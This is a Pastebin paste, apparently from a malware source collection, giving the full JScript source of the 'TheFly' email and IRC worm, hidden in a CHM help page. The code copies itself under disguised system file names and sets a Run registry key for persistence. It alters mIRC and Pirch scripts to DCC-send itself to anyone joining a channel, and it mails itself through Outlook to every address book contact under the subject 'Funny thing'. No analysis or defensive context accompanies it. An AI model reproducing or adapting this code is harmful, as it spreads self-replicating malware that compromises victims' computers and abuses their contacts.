Advertisement
FlyFar

Email-Worm.JS.TheFly - Source Code

Jun 26th, 2023 (edited)
821
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 7.42 KB | Cybersecurity | 0 0
  1. <html>
  2. <head>
  3. <title>
  4. The fly
  5. </title>
  6. </head>
  7. <body bgcolor="#000000" text="#00d8d5">
  8. <font face="arial" size="5">
  9. <img alt="" border="0" src="the_fly.jpg" style="display:none;">
  10. <br style="display:none;">
  11. <script language="JScript">
  12. try {
  13. Bible = new ActiveXObject("Scripting.FileSystemObject");
  14. throw "Religion";
  15. }
  16. catch(Christ) {
  17. if (Christ == "Religion") {
  18. document.all(5).style.display = "block";
  19. document.all(6).style.display = "block";
  20. document.writeln("If you ride a motorcycle, close your mouth.");
  21. Bible.CopyFile(document.location.pathname.replace("/@MSITStore:","").replace("::/the_fly.htm",""),Bible.BuildPath(Bible.GetSpecialFolder(0),"THE_FLY.CHM"));
  22. Bible.CopyFile(document.location.pathname.replace("/@MSITStore:","").replace("::/the_fly.htm",""),Bible.BuildPath(Bible.GetSpecialFolder(1),"DXGFXB3D.DLL"));
  23. Jesus = Bible.CreateTextFile(Bible.BuildPath(Bible.GetSpecialFolder(1),"MSJSVM.JS"),true);
  24. Jesus.WriteLine("Prayer = new ActiveXObject(\"Scripting.FileSystemObject\");")
  25. Jesus.WriteLine("if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\")) == true) {")
  26. Jesus.WriteLine("God();")
  27. Jesus.WriteLine("}")
  28. Jesus.WriteLine("else {")
  29. Jesus.WriteLine("if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(1),\"DXGFXB3D.DLL\")) == true) {")
  30. Jesus.WriteLine("Prayer.CopyFile(Prayer.BuildPath(Prayer.GetSpecialFolder(1),\"DXGFXB3D.DLL\"),Prayer.BuildPath(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\"));")
  31. Jesus.WriteLine("God();")
  32. Jesus.WriteLine("}")
  33. Jesus.WriteLine("else {")
  34. Jesus.WriteLine("Jehovah();")
  35. Jesus.WriteLine("}")
  36. Jesus.WriteLine("}")
  37. Jesus.WriteLine("function God() {")
  38. Jesus.WriteLine("Anglican = new Enumerator(Prayer.Drives);")
  39. Jesus.WriteLine("for (Theism = 1; Theism <= Prayer.Drives.Count; Theism++) {")
  40. Jesus.WriteLine("Samuel = Anglican.item();")
  41. Jesus.WriteLine("if (Samuel.DriveType == 2) {")
  42. Jesus.WriteLine("Pagan(Samuel.DriveLetter.concat(\":\\\\MIRC\"));")
  43. Jesus.WriteLine("Pagan(Samuel.DriveLetter.concat(\":\\\\PIRCH98\"));")
  44. Jesus.WriteLine("}")
  45. Jesus.WriteLine("if (Theism < Prayer.Drives.Count) {")
  46. Jesus.WriteLine("Anglican.moveNext();")
  47. Jesus.WriteLine("}")
  48. Jesus.WriteLine("}")
  49. Jesus.WriteLine("Atheism = new ActiveXObject(\"WScript.Shell\");")
  50. Jesus.WriteLine("Pagan(Prayer.BuildPath(Atheism.RegRead(\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ProgramFilesDir\"),\"MIRC\"));")
  51. Jesus.WriteLine("Pagan(Prayer.BuildPath(Atheism.RegRead(\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ProgramFilesDir\"),\"PIRCH98\"));")
  52. Jesus.WriteLine("Resurrection = new Date();")
  53. Jesus.WriteLine("if (Resurrection.getMinutes() == 30) {")
  54. Jesus.WriteLine("Jehovah();")
  55. Jesus.WriteLine("}")
  56. Jesus.WriteLine("}")
  57. Jesus.WriteLine("function Pagan(Jude) {")
  58. Jesus.WriteLine("if (Prayer.FolderExists(Jude) == true) {")
  59. Jesus.WriteLine("if (Prayer.FileExists(Prayer.BuildPath(Jude,\"MIRC32.EXE\")) == true) {")
  60. Jesus.WriteLine("Exodus = Prayer.CreateTextFile(Prayer.BuildPath(Jude,\"SCRIPT.INI\"),true);")
  61. Jesus.WriteLine("Exodus.WriteLine(\"[script]\");")
  62. Jesus.WriteLine("Exodus.WriteLine(\"n0=on 1:join:#:if $me != $nick dcc send $nick \".concat(Prayer.BuildPath(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\")));")
  63. Jesus.WriteLine("Exodus.Close();")
  64. Jesus.WriteLine("}")
  65. Jesus.WriteLine("if (Prayer.FileExists(Prayer.BuildPath(Jude,\"PIRCH98.EXE\")) == true) {")
  66. Jesus.WriteLine("Romans = Prayer.CreateTextFile(Prayer.BuildPath(Jude,\"EVENTS.INI\"),true);")
  67. Jesus.WriteLine("Romans.WriteLine(\"[Levels]\");")
  68. Jesus.WriteLine("Romans.WriteLine(\"Enabled=1\");")
  69. Jesus.WriteLine("Romans.WriteLine(\"Count=6\");")
  70. Jesus.WriteLine("Romans.WriteLine(\"Level1=000-Unknowns\");")
  71. Jesus.WriteLine("Romans.WriteLine(\"000-UnknownsEnabled=1\");")
  72. Jesus.WriteLine("Romans.WriteLine(\"Level2=100-Level 100\");")
  73. Jesus.WriteLine("Romans.WriteLine(\"100-Level 100Enabled=1\");")
  74. Jesus.WriteLine("Romans.WriteLine(\"Level3=200-Level 200\");")
  75. Jesus.WriteLine("Romans.WriteLine(\"200-Level 200Enabled=1\");")
  76. Jesus.WriteLine("Romans.WriteLine(\"Level4=300-Level 300\");")
  77. Jesus.WriteLine("Romans.WriteLine(\"300-Level 300Enabled=1\");")
  78. Jesus.WriteLine("Romans.WriteLine(\"Level5=400-Level 400\");")
  79. Jesus.WriteLine("Romans.WriteLine(\"400-Level 400Enabled=1\");")
  80. Jesus.WriteLine("Romans.WriteLine(\"Level6=500-Level 500\");")
  81. Jesus.WriteLine("Romans.WriteLine(\"500-Level 500Enabled=1\");")
  82. Jesus.WriteLine("Romans.WriteLine(\"\");")
  83. Jesus.WriteLine("Romans.WriteLine(\"[000-Unknowns]\");")
  84. Jesus.WriteLine("Romans.WriteLine(\"User1=*!*@*\");")
  85. Jesus.WriteLine("Romans.WriteLine(\"UserCount=1\");")
  86. Jesus.WriteLine("Romans.WriteLine(\"Event1=ON JOIN:#:/dcc send $nick \".concat(Prayer.BuildPath(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\")));")
  87. Jesus.WriteLine("Romans.WriteLine(\"EventCount=1\");")
  88. Jesus.WriteLine("Romans.WriteLine(\"\");")
  89. Jesus.WriteLine("Romans.WriteLine(\"[100-Level 100]\");")
  90. Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
  91. Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
  92. Jesus.WriteLine("Romans.WriteLine(\"\");")
  93. Jesus.WriteLine("Romans.WriteLine(\"[200-Level 200]\");")
  94. Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
  95. Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
  96. Jesus.WriteLine("Romans.WriteLine(\"\");")
  97. Jesus.WriteLine("Romans.WriteLine(\"[300-Level 300]\");")
  98. Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
  99. Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
  100. Jesus.WriteLine("Romans.WriteLine(\"\");")
  101. Jesus.WriteLine("Romans.WriteLine(\"[400-Level 400]\");")
  102. Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
  103. Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
  104. Jesus.WriteLine("Romans.WriteLine(\"\");")
  105. Jesus.WriteLine("Romans.WriteLine(\"[500-Level 500]\");")
  106. Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
  107. Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
  108. Jesus.WriteLine("Romans.Close();")
  109. Jesus.WriteLine("}")
  110. Jesus.WriteLine("}")
  111. Jesus.WriteLine("}")
  112. Jesus.WriteLine("function Jehovah() {")
  113. Jesus.WriteLine("WScript.Echo(\"//MIRC/OUTLOOK/PIRCH.CommonSense by Zulu\\nif (CommonSense == true) {\\n  God = false;\\n  Religion = false;\\n}\\nelse {\\n  God = true;\\n  Religion = true;\\n}\");")
  114. Jesus.WriteLine("}")
  115. Jesus.Close();
  116. Islam = new ActiveXObject("WScript.Shell");
  117. Islam.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\JavaScript VM",Bible.BuildPath(Bible.GetSpecialFolder(1),"MSJSVM.JS"));
  118. try {
  119. Hinduism = new ActiveXObject("Outlook.Application");
  120. throw "Church";
  121. }
  122. catch(Buddhism) {
  123. if (Buddhism == "Church") {
  124. Judaism = Hinduism.GetNameSpace("MAPI");
  125. for (Vushnu = 1; Vushnu <= Judaism.AddressLists.Count; Vushnu++) {
  126. if (Judaism.AddressLists(Vushnu).AddressEntries.Count > 0) {
  127. Messiah = Hinduism.CreateItem(0);
  128. for (Shiva = 1; Shiva <= Judaism.AddressLists(Vushnu).AddressEntries.Count; Shiva++) {
  129. Nazareth = Judaism.AddressLists(Vushnu).AddressEntries(Shiva);
  130. if (Shiva == 1) {
  131. Messiah.BCC = Nazareth.Address;
  132. }
  133. else {
  134. Messiah.BCC = Messiah.BCC.concat("; ").concat(Nazareth.Address);
  135. }
  136. }
  137. Messiah.Subject = "Funny thing";
  138. Messiah.Body = "> If you ride a motorcycle, close your mouth. :)";
  139. Messiah.Attachments.Add(Bible.BuildPath(Bible.GetSpecialFolder(0),"THE_FLY.CHM"));
  140. Messiah.DeleteAfterSubmit = true;
  141. Messiah.Send;
  142. }
  143. }
  144. }
  145. }
  146. }
  147. else {
  148. document.writeln("The picture couldn't be shown. ActiveX wasn't allowed, please reload and select to use it.");
  149. }
  150. }
  151. </script>
  152. </font>
  153. </body>
  154. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement